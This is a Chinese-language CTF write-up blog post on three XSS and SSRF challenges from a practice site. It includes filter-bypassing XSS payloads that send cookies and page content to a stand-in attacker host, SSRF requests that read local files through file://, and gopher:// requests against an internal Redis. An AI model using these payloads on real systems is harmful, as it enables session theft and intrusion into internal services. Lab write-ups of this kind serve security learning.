hackme.inndy.tw xss系列

这3道题目很不错,学到了一波新知识,记录一下过程和思路。

xssme

题目描述:XSS admin to steal flag 于是很自然想到了打admin的cookie用这个cookie登陆看看有没有什么新的发现。注册后登陆,发现可以收发邮件,并且知道收件人是否读了邮件。那很有可能xss存在邮件的内容中。随便先盲打一波,发现过滤了 scriptoneerorimgiframe() 等。一波下来这个标签可以使用:<body/onload=””>

先测试一下是否可以xss,构造如下payload发送给admin,如果存在xss,那么会有一个get请求发送到你的vps上。

1
<body/onload="document.location='http://ip:port'">

在服务器nc监听一个端口,如果一切正常的话同下面的图片。

1
nc -l -vv -p 9999

验证了我们的思路,那么接下来就是打admin的cookie了。那肯定交给xss平台方便一些,ceye这个国内的平台需要身份认证绑定手机才能用,于是我就放弃了。google了一个不需要的身份信息的,构造payload打一波。由于xss平台的代码有被ban的字符,所以我们需要html实体编码绕过。

使用如下payload

1
<body/onload="&#120;&#109;&#108;" //this is a simple demo,replace the xss code for""

get flag,同时提示flag2在redis中。

xssrf leak

第一次知道xss还能读取文件这种操作??当然这是几个漏洞组合在一起的效果,来分析一下。

第一次打到admin的cookie还没有用过,尝试登陆一下看看,发现当前页面只能从内网的ip登陆。

尝试了http头绕过并没有什么效果,那读一下当前页面的内容看看有没新的发现。

1
2
3
4
5
X-Forwarded-For: 127.0.0.1

X-Client-IP: 127.0.0.1

Client-IP: 127.0.0.1

构造如下payload,编码后发送邮件,可以接受到urlencode后的页面内容。

1
2
3
var img = document.createElement("img");
img.src = "http://ip:port/"+escape(document.body.innerHTML);
document.body.appendChild(img);

解码后发现还有一个reques.php,利用上面的方法再一次读取页面内容。

利用下面的代码来获取request.php的内容

1
2
3
4
5
6
7
8
9
10
11
12
<body/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://ip:33333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

结合之前获取到到信息,这个request.php有个表单可以提交url参数,结合题目的ssrf,这个request功能很可能是拿 curl 写的,如果这样,我们就可以用 file协议 读系统的文件了。读什么文件呢?卡了一会,最后扫目录发现robots.txt

1
2
3
4
User-agent: *
Disallow: /config.php
Disallow: /you/cant/read/config.php/can/you?
Disallow: /backup.zip

下载zip解压有密码,常规方法测试无果,tips提示读一下config.php。

构造如下payload,这样config.php页面的内容会以base64的形式返回给我们的vps。

1
2
3
4
5
6
7
8
9
10
11
12
13
<body/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://ip:port/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///var/www/html/config.php");
">

base64解码后发现了html实体编码了,解码后发现了flag的格式,但还有一些html编码没有解码。去这个网站对照的解一下就好了 解码

xssrf redis

根据上一个flag的提示,redis在25566端口,那就利用gopher协议来读一下当前的键值有哪些。

1
2
3
4
5
6
7
8
9
10
11
12
13
<body/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_KEYS%2520*");
">

flag 尝试读一下,不成功,类型错误。

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag%250a_quit");

查看类型,发现是list。

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag%250a_quit");

长度为53

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_llen%2520flag%250a_quit");

查询flag

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_lrange%2520flag%25200%252053%250a_quit");

参考文章:一叶飘零师傅的 从XSS到SSRF再到Redis

文章作者: Carl Star
文章链接: http://carlstar.club/2018/10/30/hackme-web/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo